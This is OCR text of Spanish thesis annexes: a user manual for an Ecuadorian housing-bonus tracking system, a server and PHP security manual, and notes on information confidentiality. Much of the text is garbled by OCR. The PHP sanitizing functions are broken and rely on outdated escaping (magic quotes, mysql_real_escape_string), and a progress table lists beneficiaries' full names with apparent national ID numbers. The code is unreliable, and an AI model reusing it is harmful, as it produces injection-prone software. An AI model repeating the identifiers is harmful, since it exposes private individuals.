Firma de Contrato [2010-11-25 ananmrnldd

Contratista | CONTRATISTA CONTRATISTA VICTOR

Fiscalizador | FISC FISCALIZADOR UMD

Supmrisor| ING.WICTOR SUAREZ

Nutn Contrato | 1875

Plazo Contrato | 90 {diaz)

Valor Contrato | 140460.00 (USD)

Aporie Benefiarto | 3010.00 (USD)

|Cod. Proceso Incop | MC-23-2010

| Fecha Orden Pago | 2010-11-29 anaamumidd

| Memo Orden Pago | MEMORANDO -DSC-067-2010

Fegistrar Contrato

En este caso, todos los campos son obligatorios, si uno de estos llegase a faltar,

la aplicacion presentard un mensaje de error indicando que campo falta de

completar.

Registro Pago de Proyectos y Registro de Pdlizas

De la misma forma se deben buscar los proyectos que se encuentran en estado
CONTRATADO y van a ser pagados.

Pago de Proyectos

Seleccione Canton:| —Seleccione— v
Buscar Proyectos
\ CODIGO [[cANTON | PARROQUIA | PROYECTO | MONTO [SOL | ESTADO

& CAYAMBE ’ CANGAHUA ’ SUMAK KAUSAY ‘140460400 29] CONTRATADO

Registro de Pago de Proyectos Luego de seleccionar el proyecto dando clic en

©

el codigo, se presentara una pantalla para

Fecha Pago Anticipo(eSigef) l 2010-11-25

Firanciarients | Recursos Fiscales ¥ registrar las fechas y numero de CUR
aaaa/mm/dd .
TD) correspondiente al proyecto, tal como se

Monto Pago l 140460.00

Num Comprobante CUR| 23433

visualiza en la figura.

|
l
|
|
|
l

Registrar Pago




Ingreso de Pdlizas.

Inmediatamente luego del registro del pago del bono, se debe registrar las 2
polizas que habilitan al proyecto a seguir el proceso. Los campos a llenar son los

siguientes:
Num Pdliza 1: Buen uso del anticipo
Num Pdliza 2: Fiel cumplimiento del contrato

Luego de llenar y verificar la informacion de las pdlizas, se procedera a registrar

la informacién presionando el botén “Registrar Pago”.

| Num Pé]iza|

|Monto Asegurado | 140460.00
| Fecha Inicin | 2010-11-25 anan'mmidd
| Fecha Terrninog | 2011-02-23 aaaammidd

| Fiel Cumnplimiento del Contrato
| NumPliza |

|Monto Asegurado | 7023.00
| Fecha Inicin | 2010-11-25 anan'mmidd
| Fecha Terrninog | 2011-08-22 aaaatnmidd

|
| Registrar Pago

Registro de avance de obra

Esta opcion permite a los técnicos registrar el avance de obra de los proyectos de

vivienda.

El primer paso es la busqueda y seleccién el proyecto de vivienda, como se

muestra en la figura.

Control de Avance de Obra

Seleccione Canton: | CAYAMBE v

Buscar Proyectos

’ CODIGO PROYECTO ‘(‘ANTON ‘PARROQUIA ‘NOMBRE PROYECTO ‘MONTO F’FE('HA REAL l.—&\'ANCE

200909170252150 ’CAYAMBE ‘ CANGAHUA ‘ SUMAK KAUSAY ’140460.00 F’ l 0%




Registro de Fecha real de inicio de obra.

| cotigo Proyesto | 2009170252150 | Para registra la fecha real de inicio de obra basta
| Fecha real de Inicio de Ohra| 2010-11-30]
|

ingresar en el campo correspondiente y presionar

Registrar Fecha Real el boton “Registrar Fecha Real”.

Luego de haber registrado la fecha real de inicio de obra, se procede a registrar el
avance de obra de cada uno de los postulantes que componen el proyecto de
vivienda, en la siguiente figura se puede visualizar que el avance esta con valor

0%, lo cual significa que todavia no se ha ingresado ningun registro.

‘ CODIGO PROYECTO ‘CANTON ‘PARROQUIA |N01\-[BRE PROYECTO |MONTO ’E‘FECHARF_AL ‘A\"ANCE
‘CAYAMBE ‘ CANGAHUA | SUMAK KAUSAT |140450.uu ’5‘ 2010-11-30 ‘ 0%

Para finalizar y completar el proceso de avance de obra se debe ingresar en cada

caja de texto frente a cada nombre de los postulantes, el avance de obra segun
las fechas de las visitas. Cada vez que se vayan registrando los datos de todos
los postulantes autométicamente ird calculando el avance total del proyecto. Para
poder completar este proceso el sistema comparara si el avance total es del
100%, el proyecto se asume como terminado y finalizado. La siguiente figura
muestra el momento en que se registran los avance de obra para los primeros

postulantes.

Codigo Proyesta | 200909170252150

Fecha Visita a la Obra [ 2010-12-01

Registrar Avance
‘ CODIGO ‘CANTON ‘PARROQUIA‘ NOMBRE ‘MONTO E‘ FECHA INICIO OBRA ‘AVANCE TOTAL
|2nn§u917|325215m |CAYAMBE ‘ CANGAHUA |SUMAKKAUSAY |14D45|J 0o F‘ 2010-11-30 | 9E.EG
[ crDULA | NOMBRE BENEFICIARIO [BoNO |APORTE | avance
|1DD3D95D21 |GUARAS UMAGUINGA JORGE ANIBAL ‘SDDD.DD |EI |WUU %%
|10036?9402 |uMAquwGA TIPANMLUISA JOSE RICARDC ‘5000.00 |U |TDD %
|1703801090 |TANDAYAMO LANCHIMEA ELIAS ‘5000.00 |250 |‘1E|EI %

|1703913E79 |QUISHDE LANCHIMEA FRANCISCO ‘5000.00 |250 |‘1E|EI %

|17|]395637D |LANCH[MBA TAMDATAMO 10OSE RAFAEL ‘EDDD.DD |25[| | 100 %

|1703988103 |ACERO PILCA MARIA WVICENTA ‘1500.00 |IED |BU 9

|1707478135 |CHOLANGO SOPALO MARIA WIRGINIA ‘SUUU.UU |U |QD Y



Registro de acta provisional y acta definitiva

Registro de actas entrega recepcién

Seleccione Canton:

Buscar Proyectos
CODIGO CANTON PARROQUIA NOMBRE IMONTO [N FECHA ACTA
PROYECTO PROYECTO TERMINO PROVISIONAL

200909170252150 ‘CAYAMBE| CANGAHUA l SUMAK KAUSAY luuasnuu |§| 2010-11-25 ’

Para el registro de actas se debe ingresar Unicamente las fechas en las cuales se
firmaran los documentos, teniendo en cuenta que existen 2 actas, una provisional

y una definitiva, como se muestra en la siguiente figura.

Registro de Actas Registro de Actas

La pagina en http://califidoweb: 8080 dice:  [X]

Codigo Proyecto [20090917025215 Codigo Proyecto [20090917025215

| Fecha acta Provisional [2010-02-20 Q La fecha de acta provisional es correcta? | Fecha acta Definitiva [ 2010-02-27
I Registrar Acta | Registrar Acta Definitiva

Resumiendo lo anterior, el médulo de control y seguimiento de proyectos de
vivienda para el area rural — urbano marginal, brinda a los técnicos del MIDUVI, la
posibilidad de registrar todo el proceso del bono de vivienda, desde la aprobacién

hasta la culminacién del proyecto con actas entrega recepcion.

La informacion ingresada, estard almacenada en una base de datos centralizada
que estara a disposicion de los funcionarios del MIDUVI para que la utilicen en la

generacion de reportes tanto para técnicos como autoridades.



ANEXO D

MANUAL TECNICO DE SEGURIDAD.

Instalacion segura del servidor Web.

Para las configuraciones del servidor web se debe ingresar al archivo de

configuracion “httpd.conf’, y modificar las opciones siguientes:

» Ocultar la version de Apache y otra informacion sensible.

ServerSignature Off
ServerTokens Prod

» Ejecutar el usuario y grupo propio y de Apache.

User apache
Group apache

> Los ficheros fuera del web root no deben ser accesibles.

<Directory />
Order Deny,Allow
Deny from all
Options None
AllowOverride None
</Directory>
<Directory /web>
Order Allow,Deny
Allow from all
</Directory>

» Desactivar el listado de directorios y los server side includes.

Options -Indexes
Options -Includes

» Desactivar la ejecuciéon de CGls.

Options -ExecCGI

» Limitar permisos de acceso solo al usuario root.

chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache

> Disminuir el valor del timeout.

Timeout 45



» Limitar el tamafio de las requests.

LimitRequestBody 1048576

» Restringir el acceso mediante IP.

Order Deny,Allow
Deny from all
Allow from 176.16.0.0/16

Configuracion 6ptima de DNS para el acceso de las aplicaciones.

» Configurar el direccionamiento de dns de nic.ec hacia everydns.

DESTINATION NAT-FIREWALL

OBJETO DESTINO PUERTO NAT CNT
ConsultaBonos 192.168.4.22 80 10.80.8.8
ConsultaRS 192.168.4.23 80 10.80.8.16

» Configurar el direccionamiento de DNS de nic.ec hacia EveryDns.

CONFIGURACION DNS DE NIC.EC A EVERYDNS

PRIMER DNS nsl.everydns.net
SEGUNDO DNS ns2.everydns.net
TERCER DNS nsl.everydns.net OPTIONAL

» Configurar de everydns a MIDUVI.GOB.EC

CONFIGURACION DNS DE NIC.EC A EVERYDNS

HOST TYPE VALUE
*.miduvi.gob.ec A 204.92.106.13
consultabonos.miduvi.gob.ec A 201.219.3.16
savmiduvi.miduvi.gob.ec A 201.219.3.17

» Acceso a las aplicaciones desarrolladas.

Si no se siguen estas recomendaciones el acceso a las aplicaciones sera de la
siguiente forma:

http://201.219.3.16/index.php

Luego de seguir las recomendaciones el acceso sera de la siguiente forma:

http://consultabonos.miduvi.gob.ec/



Respaldo de bases de datos.

Para respaldar las bases de datos de las aplicaciones realizadas se puede

implementar el siguiente procedimiento.

» Verificar que la herramienta Crontab este activa.

[root#server] ls /usr/bin

» Generar el script para el respaldo diario automatico.

Min Hora dia mes diase usuario comando
01 * * * * yroot tar -czvf /home/respaldo/bk.tar.gz /var/www/consultab

> Reiniciar el servicio.

[rooti#server] service crond restart

Programacién segura en PHP.

» Limpiar entradas de variables.

function htmlclean ($input) {

$sb_convert = S$input;

$sb_input = array("<",">","(",")");

$Sb_output = array("&lt;", "&gt,‘", vv&#4o;n, vv&#41;u);

Soutput = str replace(Ssb_input, $sb output, $sb_convert);
return Soutput;

}
» Ultilizar funciones que deshabilitan intrusiones.

mysqgl real escape string(); addslashes();

» Ultilizar funciones que deshabilitan SQL inyection.

function no_injection($string) { function des ($string) {
if (get magic_quotes gpc()) Sstring = striptags($string);
$string = stripslashes($ | $string = htmlspecialchars ($string)
string) ; ;
return S$string; $string = trim($string);

} Sstring = stripslashes ($string) ;
$string = mysql real escape string(
$string) ;
return S$string;}




ANEXO E

NORMAS Y ESTANDARES EN LA ADMINISTRACION DE LA
INFORMACION.,

INTRODUCCION A LA ADMINISTRACION DE LA INFORMACION.

En este apartado se pretende abarcar los principales problemas y las mejores
practicas para obtener un eficaz procesamiento y administracion de la
informacion, logrando agilitar los procesos de automatizacion de una institucion
para mejorar su productividad.

Generar nuevas ideas y aplicar nuevos procedimientos en el manejo de la
informacion es la clave para triunfar en la actualidad, pues se tendra la
capacidad de generar reportes generales, especificos, gerenciales, tabulados,
estadisticos, etc. a partir de datos que son procesados adecuadamente.

“‘Como menciona Shoshana Zuboff, la administracion de Informacién con
Tecnologia agiliza el proceso de automatizacion, pero una compafiia que persiga
la informacion no solo por razones de automatizacion o reporte de actividades,
sino que la explore por su valor intrinseco, utilizara esta informacién para mejorar
su rendimiento”°

ESTANDARES PARA EL MANEJO DE INFORMACION.

Un estandar establece un sistema comun de terminologia y de definiciones que
estén presentes al documentar o guardar datos. Todos los conjuntos de
metadatos’ deberian tener su referencia en un estandar.

Existen varios estandares disponibles para el manejo de datos, y la razén es que
existan tantos es que los metadatos se emplean en casi todos los procesos de
automatizacion.

Ejemplos: IEEE/LTSC LOM- IMS Global Learning Meta-Data, Dublin Core

% Fuente: http://www.osmosislatina.com/administracion/

" Metadato: son datos que escriben otros datos. Fuente: http://es.wikipedia.org/wiki/Metadato/



PRINCIPALES VENTAJAS AL UTILIZAR ESTANDARES.

Al utilizar un estandar, encontrar informacion especifica en un banco de datos
resulta mucho mas facil y agil que si no se utiliza ningun estandar.

Permiten basquedas automatizadas, ya que se puede programar una busqueda
determinada que cumpla con ciertos parametros y bajo ciertas condiciones.

Se trabaja con un lenguaje comdn entre las personas que se interesan por el
manejo y tratamiento de la informacién, logrando minimizar la duplicacion de
esfuerzos en la elaboracion, procesamiento o distribucion de la informacion.

NORMAS PARA EL MANEJO DE INFORMACION.
# Informacion publica.

Es aquella informacion que ha sido declarada de conocimiento publico y que
puede ser publicada sin ninguna prohibicion, ya que este tipo de informacién debe
ser de conocimiento publico.

Se puede deducir que en este caso la informacién publicada no genera dafio o
amenaza alguna a la empresa o institucion, ni tampoco a los procesos o a los
sistemas que procesen este recurso.

# Informacion confidencial.

La informacién confidencial es aquella que por su naturaleza no puede ser
revelada a terceros y por lo tanto no es publica, se entiende que ésta posee un
determinado nivel critico y que por ello debe ser tratada y protegida con mayor
atencion.

Para este caso se debe tener una persona que acoja la responsabilidad de
salvaguardar este tipo de informacién, y a la vez, que pueda asegurar una
proteccion adecuada de este recurso.

~— [ INFORMACION CONFIDENCIAL |———
:

| Caracteristicas
Informacioén de grado
de confidencialidad
maximo

Requiere proteccion
maxima

'
INFORMACION PUBLICA
'

| Caracteristicas

Informacioén de grado
de confidencialidad
medio

No requiere proteccion.
Muy poca.

L. i Caracteristicas
Informacion de grado T

de confidencialidad
bajo

Requiere proteccion
‘minima



Tipos de informacion confidencial
Informacion con grado de confidencialidad minimo

Es la informacion que puede ser conocida por terceros con una restriccion
minima, que no requiera un proceso complejo.

El acceso debe ser permitido a funcionarios, empleados, usuarios externos cuyas
actividades requieran de esta informacion.

USUARIOS

\IIIFORMACION

/
\ /»/

Ejemplo:

Detalle de los nombres de beneficiarios del bono de vivienda.

Informacion con grado de confidencialidad medio

Es la informacibn que puede ser conocida por terceros con restriccion
considerable, por ejemplo un acceso de login con usuario y contrasefa.

Se debe tener un responsable para salvaguardarla.

El acceso debe ser permitido a funcionarios, empleados, usuarios externos cuyas
actividades requieran de esta informacion.

USUARIOS / \VFORMACION
b _7 ) Bienvenida
iy

!

xxxxx




Ejemplo:

Detalle de los nombres de beneficiarios, ubicacion geogréfica, monto del beneficio
entregado.

Informacién con grado de confidencialidad maximo

Es la informacion que NO puede ser conocida por terceros que no pertenezcan a
la organizacion o institucion, se debe tener un administrador unico.

El acceso debe ser permitido a funcionarios y empleados registrados, y en caso
extremo si hubiere usuarios externos se deberia crear una licencia de uso y
confidencialidad para proteccion de la misma.

INFORMACION

USUARIOS CONFIDENCIAL

AUTORIZADOS

Bienvenida
Usuario:

Cancelar

Introduzca su nombre de UsUNIO

Grafico 4: Esquema de informacion con grado de confidencialidad maximo.
Fuente: Investigacion del autor.

Ejemplo:

Detalle especifico de los beneficiarios (cédula, teléfono, direccién domiciliaria,
namero de cuenta bancaria) a los cuales se les otorga el beneficio.



